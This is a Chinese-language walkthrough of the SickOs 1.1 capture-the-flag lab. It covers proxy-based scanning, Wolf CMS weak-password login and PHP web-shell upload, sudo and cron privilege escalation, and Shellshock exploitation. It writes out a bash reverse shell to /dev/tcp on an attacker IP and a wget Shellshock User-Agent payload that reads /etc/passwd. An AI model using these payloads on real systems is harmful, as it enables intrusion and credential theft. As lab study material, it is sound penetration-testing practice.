項目12:SickOs1.1
##Nmap信息收集
---存活主機發(fā)現:192.168.95.180

---全端口掃描,開啟了22,3128,8080端口
---思路:通過3128訪問squid代理間接訪問8080端口收集用戶名和密碼,然后ssh登陸

---爭對端口進行版本掃描,驗證了之前的猜測

##代理訪問8080
---方法1:火狐瀏覽器插件:SwitchyOmega

---訪問靶機,源碼也是這個,沒有什么信息

---方法2:使用掃描工具自帶的代理(dirb/nikto/awvs/xray/wpscan都自帶代理)
---這里掃描除了robots.txt文件

---方法3:直接使用proxychains和proxytunnel隧道代理
---修改:vi /etc/proxychains4.conf

---emmmm我這里不知道為什么被拒絕(3128>80按道理沒有錯)

---通過nikto自帶的代理進行掃描:
---1.發(fā)現robots.txt以及/icron/readme敏感文件
---2.通過/#wp-config.php猜測是WordPress的CMS
---3./cgi-bin/status目錄(apache下的一個目錄文件)下存在cve2014-6278(存在shellshork)
---4./?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000會泄露PHP環(huán)境(顯示phpinfo)

##Web漏洞信息收集
---首先查看phpInfo:/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
---這里沒有發(fā)現有用信息,但是可以使用cwel進行拆詞成字典,然后爆破ssh

---訪問 robots.txt, 發(fā)現一個目錄:/wolfcms

---這里發(fā)現是一個:Wolf.cms,但是不知道是什么版本的CMS
---Wolf CMS 是一個輕量級的 CMS 系統,包含一組插件,支持每頁定制,靈活的頁面內容和可重用的片段(CMS肯定存在后臺登陸,大部分CMS都是插件漏洞和后臺漏洞)

---谷歌搜索exp,這里存在一個:文件上傳漏洞

---在searchexploit搜索,會發(fā)現一些exp

---隨意找一個exp,查看exp中URL的路徑
---發(fā)現管理員的路徑因該是 /wolfcms/?/admin(而且網站的路由因該是:/wolfcms/?/ )

---嘗試訪問,發(fā)現一個管理員登陸窗口

---可以根據路由規(guī)則,采用dirb爆破 ? ?/ 之后的路徑

---嘗試弱口令admin/admin登陸(注意:遇到登陸界面首選弱口令)
---常見弱口令:Username:admin/administrator/root
---Password:admin/password/passwd/123456等等
---登陸進去發(fā)現CMS的版本是0.8.2

---Kail搜索,發(fā)現存在2個文件上傳漏洞
---這里是一個漏洞,只是一個是php的馬子,一個是MSF框架的rb的馬子

---查看網站的文件上傳點

##文件上傳獲取WebShell
---方法1:php-reverse-shell.php大馬
---修改php-reverse-shell.php大馬的反彈IP

---直接上傳,發(fā)現沒有一點限制

---文件上傳的地址是/wolfcms/public目錄

----直接getshell

---方法2:PHP命令執(zhí)行一句話(區(qū)分assert/eval()等代碼執(zhí)行一句話)
---修改為1.php然后上傳訪問,進行命令執(zhí)行(這里需要執(zhí)行bash反彈才行)

----方法3:PHP腳本通過socket進行反彈/bin/sh
---寫入2.php然后瀏覽器訪問,kail接受到反彈shell

##內網信息枚舉
---內核和發(fā)現版本信息,比較老版本的x86系統,基本是系統漏洞通殺

---下載linpeas.sh進行信息收集

---查看系統信息,發(fā)現系統漏洞
---sudo 在【1.8.2,1.8.31】之間,可以嘗試CVE-2021-3156進行Sudo版本漏洞提權

---存在nc以及python、php、以及gcc等軟件

---mysql是不是root權限,無法進行UDF提權,計劃任務是root可以嘗試提權

---發(fā)現一個1000以上的用戶,存在sudo權限,可以嘗試sudo提權

---ssh允許遠程root登陸,而且在靶機發(fā)現了SSH的私鑰

---總結思路:1)系統提權? 2)sudo版本提權 ?3)SSH登陸sickos用戶 4)計劃任務提權
##SSH登陸sickos用戶進行SUDO提權
---先嘗試獲取數據庫密碼,發(fā)現是:john@123

---進入user表發(fā)現只有一個admin用戶,但是我們已經通過弱口令直到密碼為admin

---查看mysql.user下的用戶名和密碼,A7開頭的因該是john@123
---嘗試破解一下debian-sys-maint的密碼:
CB98094782C386F2459D65D97B17D1DE15D1654B

---hash-identifier識別,發(fā)現是SHA1加密,按道理可以破解

---但是沒有破解除了

---直接嘗試:sickos(用戶名也可以通過/etc/passwd獲取) / john@123? 進行SSH登陸
---sudo -l 發(fā)現所有的操作均具有SUdo權限

---直接sudo su就可以進入root用戶

---當然也可以在sickos用戶的根目錄查看bash的歷史記錄,看有沒有登陸其它用戶的密碼

##計劃任務提權
---在web的根目錄/var/www目錄下,存在一個python文件(不是我們上傳的)
---而且是777權限,也就是說其它用戶可以修改

---這里也可以使用
---find / -name "*cron*" 2>/dev/null搜索計劃任務
----主要是/etc目錄和/var目錄下/var/spool/cron

---在/var/spool/cron目錄下,存在各個用戶的計劃任務,但是我們沒有權限查看

---這里發(fā)現在/etc/cron.d目錄下,存在automate每分鐘以root執(zhí)行connect.py文件

---當然,也可以使用grep命令

---也可以搜索:其它用戶具有寫入權限,然后當前用戶是root,并且具有執(zhí)行權限
---由于connect.py是其它用戶具有寫入權限,可以通過Nano修改寫入反彈shell的python語句
##拓展shellshock
---nikto發(fā)現:/cgi-bin/status
---訪問:10.211.55.39/cgi-bin/status發(fā)現是一個json的數據格式
---顯示分別是:uptime、uname -a的信息

---在靶機執(zhí)行命令
14:36:52
:當前的系統時間。up 7 days, 21:15
:系統已經運行了7天又21小時15分鐘。3 users
:當前有3個用戶登錄到系統。load average: 0.12, 0.20, 0.25
:這是系統的平均負載情況,分別表示1分鐘、5分鐘和15分鐘的平均負載。負載平均值越低,通常表示系統運行較為輕松;負載平均值較高可能表示系統資源緊張

#Shellshock(bash版本過低導致環(huán)境變量被當成環(huán)境函數執(zhí)行,進而系統命令執(zhí)行)
---漏洞范圍:bash版本<=4.3
- CVE-2014-6271(爆出漏洞)和CVE-2014-6278 (打了補丁任然存在漏洞)是在 Linux 發(fā)行版中常用的Bash命令shell 中發(fā)現的一個嚴重漏洞
---以“(){” 開頭的環(huán)境變量在ENV中解析成函數后,Bash未退出而是繼續(xù)解析并執(zhí)行shell命令。而其核心的原因:在于在輸入過濾中沒有嚴格限制邊界,也沒有做出合法化的參數判斷。

---這里bash的版本4.2.25是小于4.3,所以存在ShellShock

--本地驗證方法:
---在靶機驗證,直接輸出test

---什么是CGI:
---CGI(Common Gateway Interface)是用于在Web服務器上運行外部程序的標準接口
---它允許Web服務器將用戶的HTTP請求傳遞給一個外部程序(腳本或可執(zhí)行文件),并將該程序的輸出作為HTTP響應返回給客戶端。這使得在Web服務器上執(zhí)行動態(tài)內容和交互式操作成為可能,從而實現更加豐富和復雜的網頁功能
---然而,隨著時間的推移,出于性能和安全性的考慮,CGI在大多數情況下已經被其他技術取代,如FastCGI、mod_php、ASP.NET、Node.js等。這些技術通常能夠更高效地處理動態(tài)內容,而不會像CGI那樣每次請求都啟動一個新的進程或線程
---項目九payload:
---一般來說Bash允許將shell函數導出到服務器上其他的bash實例中,是通過使用函數定義(ENV_VAR_FN)創(chuàng)建一個環(huán)境變量來完成的:
---ENV_VAR_FN是在bash實例中執(zhí)行命令的函數,所以構造payload:
---當執(zhí)行CGI 時會調用Bash將Referer、host、UserAgent、header等作為環(huán)境變量處理
---由于這里需要squid進行代理,所以不能使用burp,而是使用curl
---使用x:代理? ,-H 自定義頭部信息
----在網站的根目錄下寫入dayu文件,檢測(這里前提因該是:要知道當前目錄才行)
---執(zhí)行如下

---瀏覽器訪問IP的根目錄,發(fā)現存在shellshock漏洞

---拿一個bash反彈shell的命令
/bin/bash -i
: 這是在靶機上啟動一個交互式的Bash Shell的命令>& /dev/tcp/192.168.95.152/9999
: 這部分使用了Bash的I/O重定向功能。它將Shell的標準輸出(stdout)和標準錯誤輸出(stderr)都重定向到一個指定的網絡地址和端口。具體來說:
>&
: 表示將(kail)標準輸出和標準錯誤都重定向。/dev/tcp/192.168.95.152/9999
: 這是一個特殊的設備文件路徑,它指定了一個TCP連接到指定的IP地址(192.168.95.152)和端口號(9999)。這意味著命令的輸出會被發(fā)送到這個IP地址和端口上0>&1
: 這部分將標準輸入(stdin)也重定向到標準輸出(stdout)。這樣,網絡連接就可以通過標準輸入輸出與Shell進行交互。
---構建shellshock的payload進行反彈shell
---kail監(jiān)聽9999端口,發(fā)現成功反彈Shell

##wget走代理執(zhí)行命令下載
wget -qO-
: 這部分使用wget
命令來下載指定URL的內容,并將內容輸出到標準輸出。-q
參數表示“quiet”模式,不顯示冗余信息。-O-
參數表示將下載的內容輸出到標準輸出。-U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
: 這是一個HTTP頭的構造,-U? --user-agent=構造的ShellShock命令執(zhí)行()
:這是Shellshock漏洞的關鍵部分,這個特殊的語法會被解釋為定義一個Shell函數。{ test;}
:在Shellshock漏洞中,攻擊者可以在函數定義后面附加命令,這里的test
是一個命令的占位符。echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd"
:在Shell函數定義后,緊跟著構造了一個HTTP響應頭(告訴客戶端響應的內容是純文本,不需要進行特殊的處理,比如HTML解析。在攻擊者構造的惡意命令中,這部分HTTP頭用于偽裝成一個正常的HTTP響應,但實際上是為了利用漏洞執(zhí)行惡意操作。),然后利用/bin/cat /etc/passwd
命令讀取/etc/passwd
文件的內容。-e use_proxy=yes -e http_proxy=192.168.95.180:3128
: 這兩個參數用于設置wget
使用代理服務器來下載內容。攻擊者將代理服務器設置為192.168.95.180
的IP地址和3128
端口(-e?? ----運行命令,execute=命令)http://127.0.0.1/cgi-bin/status
: 這是要下載內容的URL,攻擊者將wget
定向到這個URL。
---效果如下(這里也可以進行反彈Shell)

##Kail自帶的ShellShock的exp
---searchexploit shellshock(apche的遠程命令注入)

--查看34900.py
---這里要傳參靶機的IP和端口,Kail的IP和端口,代理,cgi的URL,正向SheLL和反彈Shell
---構建腳本執(zhí)行
---執(zhí)行效果如下(注意:自己會開啟555端口,不需要nc監(jiān)聽):

##/cgi-bin/存在ShellShock的原因分析
---root登陸,在/usr/lib/cgi-bin目錄下stauts是cgi-bin的源碼

---直接cat,就是:1.瀏覽器以json的格式解析 2、進行uptime和uname -a的命令執(zhí)行(反斜杠是系統命令執(zhí)行)
---這里使用tar進行壓縮成.tar.gz文件,進行代碼審計
-c
: 表示創(chuàng)建新的歸檔文件。-z
: 表示使用gzip壓縮。

##知識點總結:
----1.Nmap主機發(fā)現、全端口掃描、版本掃描
---2.代理訪問Squid:proxychannel、proxytunnel、瀏覽器插件、自帶代理的掃描器(AWVS)
---3.dirb和nikoto掃描發(fā)現敏感文件和漏洞:1.敏感文件和目錄 2.phpinfo訪問 3.shellshock
---4.根據robots發(fā)現/wolfcms,根據exploit-db和瀏覽器發(fā)現文件上傳目錄和登陸目錄
---5./wolfcms的弱口令登陸,獲取CMS版本,發(fā)現exp進行文件上傳
---6.文件上傳的方式:一句話系統命令執(zhí)行、php-revere-shell.php、PHP反彈Shell腳本
---7.內網信息枚舉:linpeas.sh:系統漏洞、sudo版本漏洞、/etc/passwd發(fā)現Sudo用戶、計劃任務(/etc/cron.d/automate)下文件(/var/www/connect.py)可以寫入
---8.查看網站的config文件獲取數據庫用戶和系統用戶密碼,然后SSH登陸sudo權限用戶提權
---9.nano修改計劃任務文件connect.py進行反彈shell、移動/bin/bash到/tmp、修改/etc/passwd或者/etc/sudoers、chmod u+s如find等命令執(zhí)行命令
---10.shellshock的兩個Cve,以及bash版本小于4.3,apache然后GCI的web目錄/cgi-bin/status/以及工作原理
---11.GCI結合shellshock,通過referer、cookie或者user-agent傳遞exp,借助cur通-x設置代理,-H構造數據頭部走代理,或者wget -U構造shellshock的exp,注意需要說明"Content-type: text/plain\"偽造解析格式,通過-e執(zhí)行wget的命令設置代理
---12.kail自帶的ShellShock的python2腳本,可以正向/反向Shell,還可以設置代理
---13.Apache的/cgi-bin/原理:cat /usr/lib/cgi-bin/status,就是執(zhí)行系統命令,然后返回固定的數據格式讓瀏覽器進行解析
----14.利用tar -cz進行文件目錄打包,進行代碼審計
